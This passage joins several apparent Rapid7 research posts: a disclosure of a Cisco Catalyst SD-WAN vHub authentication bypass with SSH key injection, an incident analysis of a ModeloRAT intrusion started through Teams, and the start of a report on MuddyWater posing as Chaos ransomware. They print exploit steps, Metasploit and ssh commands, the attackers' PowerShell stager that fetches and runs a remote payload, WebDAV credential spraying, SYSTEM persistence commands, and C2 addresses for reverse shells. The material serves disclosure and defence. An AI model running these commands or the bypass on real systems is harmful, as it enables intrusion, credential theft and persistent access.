At [5], this is the bug, there is no “if” block matching a device type of 2 (vHub); the vHub device type simply has no verification code. The function falls through every conditional without entering any of them.

At [6], the function unconditionally sets “*(_BYTE *)(a2 + 70) = 1”, which is equivalent to ”peer->authenticated = true”, and returns success. The authenticated flag at peer struct offset 70 is the single bit that gates all subsequent message processing.

The following table summarizes the verification applied to each device type:

Device Type 

Value 

Verification 

Result 

vEdge

1

HW cert, challenge signature, board ID, OTP

Verified

vHub

2

None

Falls through to “peer->authenticated = 1”

vSmart

3

Cert chain, serial lookup, duplicate check

Verified

vBond

4

N/A (trust anchor - handled elsewhere)

-

vManage

5

Cert chain, serial lookup, duplicate check

Verified

Therefore, a remote unauthenticated attacker can bypass authentication by connecting to the vSmart DTLS port with any self-signed client certificate and claiming to be a vHub (type 2) in the CHALLENGE_ACK message. No valid credentials, no CA-signed certificate, and no knowledge of the SD-WAN deployment are required.

Looking further at the message dispatcher, we need to confirm that the CHALLENGE_ACK message can actually reach vbond_proc_challenge_ack() without prior authentication. The answer is in the pre-dispatch authentication gate in vbond_proc_msg():

// vdaemon!vbond_proc_msg()
// Pre-dispatch authentication gate:

if ( *(_BYTE *)(v100 + 70) != 1 // <--- [1]
&& *(_DWORD *)(a3 + 4) != 5      // msg != Hello
&& *(_DWORD *)(a3 + 4) != 8      // msg != CHALLENGE
&& *(_DWORD *)(a3 + 4) != 9      // msg != CHALLENGE_ACK
&& *(_DWORD *)(a3 + 4)           // msg != NEW_CHALLENGE_ACK
&& *(_DWORD *)(a3 + 4) != 10     // msg != CHALLENGE_ACK_ACK
&& *(_DWORD *)(a3 + 4) != 7      // msg != Data
&& *(_DWORD *)(a3 + 4) != 11     // msg != TEAR_DOWN
  // ...snip...
)
{
// ...snip...
    // "Received an unexpected message from an un-authenticated device"
return 20;
}

We can see at [1] above, that the condition is a conjunction of negations: the incoming message is rejected only if the peer is NOT authenticated AND the message type is not one of the pre-authentication allowed types (CHALLENGE, CHALLENGE_ACK, NEW_CHALLENGE_ACK, CHALLENGE_ACK_ACK, Data, and TEAR_DOWN).

CHALLENGE_ACK (Message type 9) is explicitly in the allow list, meaning it passes this gate without authentication and reaches the vulnerable vbond_proc_challenge_ack(). This is by design; the authentication handshake must be able to proceed before the peer is authenticated.

Once the vulnerable vbond_proc_challenge_ack() sets “peer->authenticated = true” via the vHub bypass, the attacker must send a Hello message (Message type 5) to transition the peer to the UP state. The Hello handler has its own secondary authentication check:

// Case 5 (Hello) in vbond_proc_msg - line 20362
case 5:
// ...snip...
if ( *(_BYTE *)(v100 + 70) != 1 ) // <--- [2]
{
// "Received an unexpected HELLO from un-authenticated device"
        // ... cleanup and reject ...
return 0LL;
    }
// Process Hello normally - peer transitions to UP

At [2] above, the Hello handler verifies ”peer->authenticated == true” before processing. After our exploit sets this flag via the vHub bypass, Hello passes this secondary check and the peer transitions to the UP state, a fully trusted control-plane peer.

Putting all the pieces together: the attack chain is DTLS handshake (any cert) → receive CHALLENGE → send CHALLENGE_ACK with device type 2 (vHub) → authentication flag set unconditionally → send Hello → peer transitions to UP.

After establishing as an authenticated peer, the attacker has access to the full range of control-plane message types. We identified a particularly impactful post-authentication primitive: persistent SSH key injection via MSG_VMANAGE_TO_PEER (Message type 14).

The handler for message type 14 is vbond_proc_vmanage_to_peer(). Examining the decompiled code:

// vdaemon!vbond_proc_vmanage_to_peer()

// ...snip...

stream = fopen("/home/vmanage-admin/.ssh/authorized_keys", "a+"); // <--- [1]
if ( stream )
  {
if ( (unsigned __int8)read_key_data((const char *)(a3 + 32), stream) != 1 && *(_BYTE *)(a3 + 32) )
    {
if ( dword_241120 > 6 )
        syslog(
191,
"%s[%d]: %%%s-%d: sshkey not present, writing to file",
"vbond_proc_vmanage_to_peer",
2368LL,
          aVdaemonDbgMisc,
7LL);
      fputs((const char *)(a3 + 32), stream); // <--- [2]
}
    fclose(stream);
  }

// ...snip...

At [1] above, the file is opened in append mode - the attacker's key is added alongside any existing authorized keys, avoiding disruption of legitimate access. At [2], the attacker-controlled key buffer from the message body is written directly via fputs() with no sanitization.

The key injection message body is a fixed 769-byte structure:

Offset

Size

Field

0-767

768

Key buffer ("\n" + ssh_pubkey + "\n" + "\x00" + zero-padding)

768

1

TLV count = 0

⠀⠀

The leading “\n” ensures correct appending regardless of whether the existing authorized_keys file ends with a newline. The null byte terminates the string for fputs(), and the remainder is zero-padded to fill the 768-byte buffer.

Any authenticated peer, regardless of device type, can inject SSH keys into the vmanage-admin user's authorized_keys file on vSmart. The vmanage-admin user is a specific internal, high-privileged service account used for automated communication between the management plane (vManage) and the control plane (vSmart/vBond). This converts a transient control-plane peering session into persistent, credential-independent high-privileged access.

Exploitation

In this example we will use the exploit developed by Rapid7 Labs and target a Cisco Catalyst SD-WAN Controller which has an IP address of 192.168.80.11. In our example, both the vdaemon service and the NETCONF service are bound to the same interface. The attacker will have an IP address of 192.168.80.130. In our example, the target Cisco Catalyst SD-WAN Controller appliance is running version 20.12.6.1, which was the latest available version of the 20.12.* branch at the time of writing.

To begin, the attacker loads the module in Metasploit and configures the required options.

metasploit-module-options-cisco-sdwan-vhub-auth-bypass.png
Figure 1: Metasploit module options for cisco_sdwan_vhub_auth_bypass

The module will perform the authentication bypass and then inject an attacker controlled SSH public key into the authorized keys file for the vmanage-admin user. The module will generate a new RSA key-pair prior to exploitation, so that the attacker will inject a public key for which they have the corresponding private key.

The attacker then sets the target and runs the module.

msf6 auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > set RHOSTS 192.168.80.11
msf6 auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > run

vhub-authentication-bypass-ssh-key-injection.png
Figure 2: Module output showing the vHub authentication bypass and SSH key injection

The attacker can now SSH into the NETCONF service over TCP port 830 by running the following command (as instructed by the exploit above).

ssh -i /home/cryptocat/.msf4/loot/20260501115947_default_192.168.80.11_cisco.sdwan.sshk_491665.pem vmanage-admin@192.168.80.11 -p 830

SSH public key authentication will succeed, and the attacker will have successfully established a connection to the NETCONF service.

ssh-connection-to-NETCONF-service.png
Figure 3: Successful SSH connection to the NETCONF service as vmanage-admin

At this point the attacker can begin to execute arbitrary NETCONF commands, for example the following “get-config” command can be run by the attacker in the NETCONF session.

<?xml version="1.0" encoding="UTF-8"?><hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"><capabilities><capability>urn:ietf:params:netconf:base:1.0</capability></capabilities></hello>]]>]]><rpc message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"><get-config><source><running/></source></get-config></rpc>]]>]]>

The output of the get-config command is shown below.

NETCONF-get-config-output.png
Figure 4: NETCONF get-config output from the compromised controller

Remediation

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Customers are advised to upgrade to an appropriate fixed software release as indicated in the Fixed Software section of the Cisco Security Advisory. The following tables indicate the appropriate fixed software releases.

Cisco Catalyst SD-WAN Release

First Fixed Release

Earlier than 20.9*

Migrate to a fixed release

20.9

20.9.9.1

20.10

20.12.7.1

20.11*

20.12.7.1

20.12

20.12.5.4, 20.12.6.2, 20.12.7.1

20.13*

20.15.5.2

20.14*

20.15.5.2

20.15

20.15.4.4, 20.15.5.2

20.16*

20.18.2.2

20.18

20.18.2.2

26.1.1

26.1.1.1

*These releases have reached the end of software maintenance. Cisco strongly encourages customers to upgrade to a supported release.


For additional details, please see the vendor advisory.

Vendor statement

"Cisco values the role of the security research community in helping maintain a secure ecosystem and we appreciate the collaboration with Rapid7. We have released a software update to remediate the identified vulnerability. We remain committed to transparent communication and to providing our customers with the robust security and resilience they expect."

Rapid7 customers

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2026-20182 with an authenticated vulnerability check expected to be available in the May 14th, 2026 content release.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher, and Jonah Burgess, Senior Security Researcher, both at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Disclosure timeline

  • March 9, 2026: Rapid7 makes initial outreach to Cisco who confirms contact the same day. Rapid7 discloses the technical writeup and exploit code to Cisco.

  • March 11, 2026: Cisco confirms receipt of the technical writeup and exploit code and suggests a disclosure date of May 7, 2026.

  • March 20, 2026: Cisco confirms the vulnerability findings, and that a CVE will be reserved.

  • April 21, 2026: Cisco provides reserved CVE identifier and remediation guidance.

  • April 24, 2026: Cisco provides remediation version numbers, alignment on CWE and CVSS scoring, and requests moving disclosure date to May 14.

  • May 14, 2026: This disclosure.

Updates

  • May 15, 2026: Added link to the Metasploit module.

When IT Support Calls: Dissecting a ModeloRAT Campaign from Teams to Domain Compromise

13 May 2026 at 10:44

Overview

Attackers do not need to break into the front door when they can convince employees to open it for them through the tools they already trust.

In April 2026, Rapid7 investigated an enterprise intrusion that began with a Microsoft Teams message from a fake “IT Support” account and quickly escalated into a full compromise chain involving malware deployment, privilege escalation, credential theft, lateral movement, and exfiltration. The incident illustrates a critical risk for modern enterprises: Collaboration platforms have become part of the attack surface, and when combined with identity abuse and Living-off-the-Land techniques, they can provide attackers with a low-friction path into the environment.

Therefore, this attack was particularly concerning due to the way the intrusion shifted from endpoint compromise to broader identity-driven risk. And while it was not surprising that the attacker used a novel technique, what was concerning was how the attacker was able to chain together familiar enterprise weaknesses into a fast-moving and operationally effective intrusion.

By abusing Teams external access, the threat actor delivered a Dropbox-hosted Python payload that established command-and-control, deployed multiple backdoors, and began mapping the internal environment. The attacker then escalated privileges to SYSTEM using CVE-2023-36036 before deploying a fake Windows lock screen designed to harvest the user’s domain password.

Once valid credentials were obtained, the intrusion shifted from endpoint compromise to broader identity-driven risk. The attacker moved laterally to a second host, used legitimate tooling such as DumpIt to collect system memory, which was likely exfiltrated via an anonymous file-sharing service. This progression underscores a key reality for defenders: Once collaboration, identity, and endpoint controls are bypassed or weakened, attackers can rapidly convert initial access into meaningful enterprise exposure.

Rapid7’s technical analysis linked the Python malware to ModeloRAT, a framework previously documented by multiple security vendors in browser extension campaigns and associated with the KongTuke group. More broadly, this intrusion demonstrates how trusted communication channels, Living-off-the-Land techniques, and credential-focused tradecraft continue to challenge traditional security controls. The takeaways here are clear:

For CISOs: Collaboration tools are part of your attack surface. Attackers used Teams to reach users directly. Security, identity protection, endpoint visibility, and rapid detection engineering must be treated as connected parts of the same defense strategy, not separate control domains.

For defenders: Old vulnerabilities and trusted tools still work. The attack combined a patched vulnerability (CVE-2023-36036) with widely trusted tools like Python, PowerShell, and Dropbox. None of these are unusual in enterprise environments, which is precisely what allowed the attacker to blend in while moving quickly. It’s an obvious restatement, but external access should always be controlled and monitored. 

The challenge isn’t identifying one suspicious event; it’s recognizing when normal activity starts to form a pattern, and acting before that pattern turns into widespread exposure.

Rapid7 coverage

Rapid7 has coverage for this campaign across both intelligence and detection workflows. The campaign is available in Rapid7’s Intelligence Hub, providing customers with curated context, indicators, and threat actor tradecraft to support awareness, investigation, and prioritization. Relevant detections are also available in InsightIDR, helping security teams identify activity associated with this intrusion pattern across their environments.

ModeloRAT-attack-chain-teams-payload.png
Figure 1: Attack chain from Teams phishing to payload delivery, ModeloRAT execution, privilege escalation, and lateral movement with exfiltration.

A door that was never closed

The intrusion started with abuse of Microsoft Teams external access. This feature, enabled by default in some environments, allows users in one tenant to initiate direct chats with users in another. In our incident, the attacker used a newly created tenant UCICasociacion.onmicrosoft[.]com to impersonate “IT Support” and messaged a targeted employee.

This approach mirrors tradecraft seen in Octo Tempest-style campaigns. Octo Tempest (alias Scattered Spider, UNC3944, 0ktapus) is a financially motivated cybercriminal group active since 2022, known for aggressive social engineering tactics including helpdesk impersonation, SIM swapping, and MFA manipulation. 

Shortly after the interaction, a hidden PowerShell command executed on the victim’s machine, staging the initial payload.

Stager: Bring your own Python

Within minutes of the Teams interaction, a PowerShell stager executed on the endpoint and reached out to Dropbox to retrieve a ZIP archive (Winp.zip) into the user’s AppData directory.

The archive was immediately extracted and deleted, likely to reduce on-disk artifacts and avoid potentially raising suspicion.

The payload contained a portable WinPython environment, which the attacker used to launch the next stage:

  • collector.py (reconnaissance)

  • Pmanager.py (primary C2 agent, Modelo RAT)

Execution was handled via pythonw.exe, which allowed the script to run in the background without showing the terminal window.

iwr -Uri "https://www.dropbox[.]com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:appdata\Winp.zip"; 
Expand-Archive -Path "$env:appdata\Winp.zip" -DestinationPath "$env:appdata"; 
rm "$env:appdata\Winp.zip"; 
Start-Sleep -Seconds 5; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\collector.py; 
Start-Sleep -Seconds 30; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\Pmanager.py; 
Start-Sleep -Seconds 5

Figure 2: PowerShell stager retrieving and executing portable Python payload.

Reconnaissance: Environment discovery via native tools

The first Python module executed by the attacker was collector.py, a post-exploitation information gatherer designed to silently profile the host and save the results to %TEMP%\configA.json. Additionally, before any of the recon the collector.py computes a host fingerprint. This 8-character fingerprint is what the operator's C2 server uses to identify this victim.

The script gathered the following information:

System identity and patch level

systeminfo, domain queries

Privilege context

whoami /all and .NET Security.Principal checks (USER / ADMIN / SYSTEM)

Processes and services

Get-Process, Get-Service

Network visibility

getmac.exe, arp -a, Get-NetTCPConnection, ping.exe

Domain visibility

ran adsisearcher to enumerate accessible systems

AV-Solutions

Securityhealthhost.exe, which is commonly used to verify if anti-virus solutions are running on the system

Table 1: Host Reconnaissance and Environment Enumeration.

All of these commands were executed through hidden PowerShell sessions using the CREATE_NO_WINDOW flag, allowing the script to run in the background without spawning visible console windows.

Part of reconnaissance was also a collection of installed hotfixes and system version data. The attacker was able to assess whether the host was vulnerable to a version-specific local privilege escalation exploit later used in the intrusion.

Additionally, collector.py and all other python modules dropped by malware were obfuscated. However, it was not difficult to recover code structure close to the original. 

Obfuscated-collector-py.png
Figure 3: Obfuscated collector.py

Stage 2: Ties to ModeloRAT

Shortly after reconnaissance is completed, the attack shifts into its second stage as with the execution of Pmanager.py.

pythonw.exe ...\python\Pmanager.py start

Figure 4: Execution of Pmanager.py initiating second-stage C2 activity.

As soon as it is started, the script creates a long-running HTTP beacon over port 80 that rotates across 5 hardcoded C2 servers: 46.225.231[.]170, 144.172.99[.]68, 64.94.85[.]158, 140.82.6[.]45, and 45.76.241[.]51.

The script can load DLLs via rundll32.exe, launch additional Python scripts, run PowerShell commands, or install .msi packages. It also handles persistence and can update or remove itself. The reconnaissance output saved in configA.json is sent back to the C2, giving the operator a full picture of the host before issuing further tasks.

This behavior closely matches the ModeloRAT framework documented by Huntress (KongTuke / CrashFix campaigns). Its communication format, persistence mechanisms, and delivery model all match what has been previously observed, with no significant deviations.

The key difference is in initial access: Where earlier campaigns relied on malicious browser extensions, this intrusion used Microsoft Teams social engineering to achieve execution.

The on-demand shells and the WebDAV 

Pmanager quickly deployed its first additional module USOShared1297.py onto the infected host. This module is a TCP reverse shell that opens 2 outbound sockets to one of 3 hardcoded C2 IPs (144.172.88[.]18, 64.190.113[.]187, 45.59.122[.]231. The port 50508 is reserved for the interactive shell that the attacker can use and port 60503 is for file transfer. The shell itself is a cmd.exe spawned using CreatePipe and CreateProcessA with the CREATE_NO_WINDOW and STARTF_USESTDHANDLES flags.

This access was then used to test credential reuse across the environment through repeated WebDAV authentication attempts against internal systems.

rundll32.exe davclnt.dll,DavSetCookie <HOST> http://<TARGET>/C%24/Windows

Figure 5: WebDAV authentication spray using davclnt.dll (DavSetCookie)

The DavSetCookie API forces Windows to initiate a WebDAV authentication attempt using the current user’s credentials. In effect, it allows the attacker to validate where those credentials are accepted without deploying additional tools. Within minutes, successful logon events started to appear across more than 100 internal systems.

The HTTP shell – internal.py

Not long after, the attacker added a second way into the system by deploying back-to-back Microsoft5237.py dropped to %TEMP% and internal.py dropped to WPy64-31401\python. Later analysis showed they were actually the same file, just renamed (both had the same SHA-256 hash: 930263c0843744e269b615fb2ec79f83d7bd8b2cbf75e31fd5ea6c1aaa4e48fd). The attacker was reusing the same backdoor under different names.

Each script launched a hidden PowerShell session. First it checked whether the system was domain-joined, and then set up a persistent remote shell.

powershell -NonInteractive -NoProfile -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystem).Domain"
powershell -NoProfile -NoExit -Command -

Figure 6: The -NoExit flag keeps PowerShell running in the background, while the trailing “-” allows it to accept commands remotely.

From there, internal.py turned that session into a full HTTP-based control channel. It registered with the C2 /handshake, continuously polled for instructions via /command/<id>, executed them inside the PowerShell session, and returned output via /output/<id>. The same channel handles file upload, download, and also screenshot capture. All of this communication ran over port 80 to 87.120.186[.]229 and 149.248.78[.]202, blending in with normal web traffic.

Stage 3: Privilege escalation via CVE-2023-36036

After gaining remote access, the attacker executed ssss.dll to escalate privileges.

rundll32.exe ssss.dll startproc Mw2[REDACTED]

Figure 7: Execution of ssss.dll via rundll32.

The argument that was passed to startproc is a decryption key. The startproc function uses Mw2[REDACTED] to decrypt the payload.

The ssss.dll (SHA-256: b00c1cbcfb98d2618a5c2ccb311da94f3c57709a397be6c8de29839f4e943976) is a reflective loader. The loader is using that key to decrypt an embedded payload in memory and execute it. The decrypted payload is testdllLPE.dll (SHA-256: d84245f3a374dd5eff8ecfdfad39077d76331fde799e5306430d0fc788db7f1d), a custom privilege escalation exploit targeting CVE-2023-36036. This vulnerability is a heap-based buffer overflow in cldflt.sys, the Windows Cloud Files Mini Filter Driver.

Within seconds, the helper thread launched internal.py under a SYSTEM token, confirming that the exploit successfully modified the process privileges.

What is CVE-2023-36036?

The Cloud Files driver is what makes OneDrive's "Files On-Demand" work, allowing placeholder files to appear locally while being backed by cloud storage. Sync providers (OneDrive, Dropbox, Box) register themselves with the driver using the Cloud Files API, and the driver brokers I/O between the filesystem and the provider.

CVE-2023-36036 is a heap buffer overflow in how cldflt.sys processes messages from these providers. By sending crafted data through the driver’s communication interface, an attacker can overflow an internal buffer and corrupt adjacent memory. With controlled heap layout, this corruption becomes a kernel write primitive.

Reused technique, adapted exploit

While analyzing the CVE-2023-36036 exploit, it became clear that the threat actor did not build their methodology from scratch. STAR Labs documented a similar chain in their analysis of CVE-2021-31969 also in cldflt.sys. Their work outlined the core steps: Register a fake sync provider, shape the kernel heap, trigger the overflow, and overwrite a token.

The exploit we analyzed follows the same general playbook, but adapts it for the CVE-2023-36036 vulnerability.

The threat actor reused three core steps from the STAR Labs research to stabilize their exploit:

Sync provider registration. The exploit registers itself as "PLURIBUS" with GUID {904EE598-0511-4664-82A8-22C4A7501044}, pointing to %TEMP%\cldflt. This causes the driver to treat the directory as a valid Cloud Files root and route file operations through the vulnerable path.

WNF heap shaping. The exploit uses 4 undocumented ntdll syscalls: NtCreateWnfStateName, NtUpdateWnfStateData, NtDeleteWnfStateData, and NtQueryWnfStateData to allocate a large number of small objects in the kernel pool. This shapes memory so the overflow lands on controlled data instead of random structures. Without this step, the buffer overflow in cldflt.sys would write to unpredictable addresses and can crash the system

Data-Only Token Overwrite. Instead of using process injection or shellcode, the exploit uses its own token in kernel memory by flipping a privilege bit to gain SYSTEM access. What sets testdllLPE.dll apart is what the operator added on top of that scaffolding.

Kernel discovery method. It probes the kernel address range in 1 MB steps, measuring minute differences in memory access latency to identify ntoskrnl base. This avoids calling privileged APIs.

Decoupled execution model. Instead of elevating the thread running the exploit, this binary spawns a helper thread that continuously polls PrivilegeCheck(SeDebugPrivilege). This allows the main exploit thread to crash, hang, or retry the kernel write multiple times without losing the payload. The moment the kernel finally flips the privilege bit, the helper thread detects the change and immediately launches internal.py as SYSTEM.

Trigger path. The vulnerability is reached through the driver’s message handling path. When processing a FilterSendMessage request, cldflt.sys copies attacker-controlled data into a fixed-size buffer without proper bounds checking, overflowing into adjacent memory, specifically a function pointer.

To trigger execution, the exploit creates a placeholder file within the fake sync root and writes to it.

CVE-2023-36036-startproc-trigger-sequence.png
Figure 8: CVE-2023-36036 trigger sequence in startproc. A crafted 512-byte message is delivered via FilterSendMessage, a 1024-iteration WNF spray seats the fake kernel object, and the closing WriteFile fires the corrupted callback.

When the driver intercepts the write to Link.log, it invokes the corrupted function pointer. This results in a controlled kernel write, which flips the SeDebugPrivilege bit in the helper thread's token.

After the WriteFile call completes, the main exploit thread exits. The helper thread, which was polling PrivilegeCheck(SeDebugPrivilege) once per second since the exploit started, detects the change and breaks out of its loop. At this point, the privilege escalation has succeeded. The helper thread immediately launches the payload. 

Helper-thread-execution-after-privilege-escalation.png
Figure 9: Helper thread execution after privilege escalation succeeds.

Stage 4: Post-exploitation 

The newly spawned internal.py process was running under a SYSTEM token. The attacker confirmed this with whoami and immediately created a scheduled task (TempLogA) to execute internal.py daily at 13:00 with SYSTEM privileges.

schtasks /create /tn TempLogA 
  /tr "C:\Users\USER\AppData\Roaming\WPy64-31401\python\pythonw.exe internal.py" 
/sc daily /st 13:00 /ru SYSTEM /rl HIGHEST /f

Figure 10: Creation of SYSTEM-level scheduled task (TempLogA) for persistence.

With persistence in place, the attacker moved on to Active Directory enumeration.

$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetDirectoryEntry().distinguishedName
$s = New-Object DirectoryServices.DirectorySearcher([ADSI]"LDAP://$d")
$s.PageSize = 1000
$s.Filter = "(objectClass=user)"
$s.FindAll().Count

Figure 11: Powershell command returns the total number of domain user accounts.

Shortly after, the compromised account established a remote PowerShell session (WinRM) to a second host. Once connected, additional enumeration commands were executed through the remote PowerShell process (wsmprovhost.exe), extending visibility beyond the initial system.

Expanding the foothold

Within hours of privilege escalation and enumeration, 3 additional Python modules were deployed:

Microsoft5237.py: HTTP beacon to 87.120.186.229 and 149.248.78.202. Captures screenshots via PowerShell, monitors user logins/logouts, uploads files to C2.

Dell508.py: Reverse TCP tunnel to 207.246.114.50 and 149.28.96.170 on port 80, disguised as HTTP upgrade. C2 server instructs victim to connect to specific internal targets; victim relays traffic bidirectionally.

PCDr6967.py: SOCKS5 proxy to 96.9.125.29, 144.172.111.49, and 104.194.152.246 on port 50504. Routes attacker's tools (RDP, browsers, Nmap) through victim into internal network.

Stage 5: The lock screen that wasn't

Roughly two hours after privilege escalation, the attacker deployed a second DLL.

rundll32.exe com6848.dll,open e8vy[REDACTED]

Figure 12: Execution of com6848.dll via rundll32 to deploy credential harvesting payload.

The com6848.dll (SHA-256: 30e5a6c982396cdf3157195b540f75096869baa8570f66fab88c07c161be27f0, internal name apple.dll) is a 32-bit DLL with a single export open. Its .rdata section is over 5 MB and contains an encrypted payload. The decryption key was conveniently provided on the command line by the attacker.

Once decrypted, the DLL reflectively loads a second stage stage2.dll (SHA-256: f5b2dbd8ec9671c0261f093ebc5f3d35920b592458a3b800cc946265111e67d0). This DLL renders a perfect replica of the Windows 10 lock screen, using the embedded font to ensure visual accuracy even on systems where the font isn’t installed. The user sees what appears to be a normal screen lock and types their password to unlock it. The DLL captures it, and writes the result to disk as yyyy-mm-dd-Log.txt

What the credential unlocked

Wait, didn't the operator already have SYSTEM privileges? Why bother with a fake lock screen?

By this point, indeed the operator had SYSTEM-level access on the host. What they didn't have, though, was the user's domain credentials. SYSTEM can authenticate using the machine account, but it cannot authenticate as the user. It can't access user-specific resources, such as file shares requiring the user's permissions, mailboxes, web applications expecting user credentials, or RDP sessions that need to establish an interactive logon as that specific domain account.

The same evening, the attacker used harvested credentials to authenticate via RDP to another workstation in the network. DNS logs showed connections to Dropbox and some internal systems. Additionally, they also performed Kerberoasting against service accounts, requesting vulnerable Kerberos tickets in an attempt to expand access within the environment.

The following morning, the attacker returned to the second host via RDP and used Microsoft Edge to download the Comae toolkit, including DumpIt, a legitimate memory acquisition tool. Two minutes after unarchiving the Comae toolkit, the threat actor navigated within the browser to uploadnow[.]io, which offers free anonymous file upload features. During this browser session, the threat actor searched via Bing if SwissTransfer was a safe site to transfer large files, likely evaluating additional exfiltration methods. 

Shortly after, DumpIt.exe was executed on the second host. DumpIt captures physical RAM, including LSASS process memory, which can contain cleartext passwords, NTLM hashes, and Kerberos tickets. Based on timing and network activity, the memory dump was likely exfiltrated via uploadnow[.]io.

MITRE ATT&CK techniques

TECHNIQUE ID

TECHNIQUE NAME

T1566.003

Phishing: Spearphishing via Service

T1204.002

User Execution: Malicious File

T1059.001

Command & Scripting: PowerShell

T1059.006

Command & Scripting: Python

T1218.011

System Binary Proxy Execution: Rundll32

T1106

Native API

T1053.005

Scheduled Task/Job: Scheduled Task

T1068

Exploitation for Privilege Escalation

T1134.001

Access Token Manipulation: Token Impersonation

T1134.004

Access Token Manipulation: Parent PID Spoofing

T1562.001

Impair Defenses

T1027

Obfuscated Files or Information

T1027.002

Software Packing

T1027.009

Embedded Payloads

T1620

Reflective Code Loading

T1036.005

Masquerading

T1140

Deobfuscate/Decode Files or Information

T1112

Modify Registry

T1055

Process Injection

T1056.002

Input Capture: GUI Input Capture

T1558.003

Steal or Forge Kerberos Tickets: Kerberoasting

T1003.001

OS Credential Dumping: LSASS Memory

T1003

OS Credential Dumping

T1018

Remote System Discovery

T1087.002

Account Discovery: Domain Account

T1082

System Information Discovery

T1016

System Network Configuration Discovery

T1033

System Owner/User Discovery

T1083

File and Directory Discovery

T1021.006

Remote Services: WinRM

T1021.001

Remote Services: RDP

T1570

Lateral Tool Transfer

T1071.001

Application Layer Protocol: Web Protocols

T1095

Non-Application Layer Protocol

T1090.001

Proxy: Internal Proxy

T1090.002

Proxy: External Proxy

T1572

Protocol Tunneling

T1573

Encrypted Channel

T1132.001

Data Encoding: Standard Encoding

T1568

Dynamic Resolution

T1567.002

Exfiltration Over Web Service

T1041

Exfiltration Over C2 Channel

Indicators of compromise (IOCs)

Category

Indicator Type

Value

Attacker Infrastructure

Rogue M365 Tenant (Sender)

itsupport@UCICasociacion.onmicrosoft.com

Attacker Infrastructure

Tenant GUID

cdc15b4d-6fd6-4e90-9ee9-357fea475047

Attacker Infrastructure

Client Hostnames

RICARDOGARC05B2, KALI-LINUX-2025-2

Attacker Infrastructure

Initial Access Vector

MS Teams external chat (Impersonating "IT Support")

Network C2

Pmanager.py (ModeloRAT Beacon)

46.225.231.170, 144.172.99.68, 64.94.85.158, 140.82.6.45, 45.76.241.51 

Network C2

collector.py (Exfiltration)

87.120.186.229, 149.248.78.202 (Port 80)

Network C2

internal.py / Microsoft5237.py

87.120.186.229, 149.248.78.202 (Port 80)

Network C2

USOShared1297.py (TCP Shell)

144.172.88.18, 64.190.113.187, 45.59.122.231 (Ports 50508, 60503)

Network C2

PCDr6967.py (SOCKS5)

96.9.125.29, 144.172.111.49, 104.194.152.246 (Port 50504)

Network C2

Dell508.py (HTTP Tunnel)

207.246.114.50, 149.28.96.170 (Port 80)

Persistence Host

Cloud Files Provider Name

PLURIBUS

Persistence Host

Cloud Files Provider GUID

{904EE598-0511-4664-82A8-22C4A7501044}

Persistence Host

Registry Persistence Key

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SyncRootManager\PLURIBUS!*

Persistence Host

Sync Root Path

%TEMP%\cldflt\

Persistence Host

Placeholder File

%TEMP%\cldflt\Link.log

More indicators of compromise can be found on Rapid7’s GitHub.

Key findings

  • ModeloRAT pivoted from browser extensions to Teams social engineering.
  • Portable Python environments bypass traditional EDR signatures.
  • CVE-2023-36036 remains effective despite patch availability.
  • Fake lock screens can harvest credentials even with SYSTEM access.
  • WebDAV API abuse provides stealthy credential validation.

It took two days to go from "Hi, this is IT support" to domain-wide credential access using a fake lock screen, a Python based RAT, and a two-year-old kernel exploit. If you were an incident responder, none of these techniques would have been new for you, and that’s the point.

What particularly stands out is how quickly control shifted from endpoint to identity. Once valid credentials were obtained, the environment itself became the attack surface.

Muddying the Tracks: The State-Sponsored Shadow Behind Chaos Ransomware

Executive summary

In early 2026, a sophisticated intrusion initially appearing to be a standard Chaos ransomware attack was assessed to be consistent with a targeted state-sponsored operation. While the threat actor operated under the banner of the Chaos ransomware-as-a-service (RaaS) group, forensic analysis revealed the incident was a "false flag" masquerade. Technical artifacts, including a specific code-signing certificate and Command-and-Control (C2) infrastructure, suggest with moderate confidence that this activity is linked to MuddyWater (Seedworm), an Iranian Advanced Persistent Threat (APT) affiliated with the Ministry of Intelligence and Security (MOIS).

The campaign was characterized by a high-touch social engineering phase conducted via Microsoft Teams, where the attackers utilized interactive screen-sharing to harvest credentials and manipulate Multi-Factor Authentication (MFA). Once inside, the group bypassed traditional ransomware workflows, forgoing file encryption in favor of data exfiltration and long-term persistence via remote management tools like DWAgent. This report deconstructs the infection chain and analyzes the custom "Game.exe" Remote Access Trojan (RAT).

Additionally, this explores the process by which MuddyWater is increasingly leveraging the cybercriminal ecosystem to provide plausible deniability for geopolitical espionage and prepositioning, particularly in the US. The strategy highlights the convergence between state-sponsored intrusion activity and criminal tradecraft, where a big “tell” lies in the techniques that were deployed – and those that weren’t.

This overall strategy suggests the primary goal was not financial gain. It is also further proof of the lines blurring against the background of geopolitical tensions, and that attribution is becoming more difficult if teams do not take it upon themselves to conduct proper and thorough research.

Rapid7 coverage

Rapid7 has coverage for this campaign across both intelligence and detection workflows. The campaign is available in Rapid7’s Intelligence Hub, providing customers with curated context, indicators, and threat actor tradecraft to support awareness, investigation, and prioritization. Relevant detections are also available in InsightIDR, helping security teams identify activity associated with this intrusion pattern across their environments.

Chaos ransomware: Profile and targeting

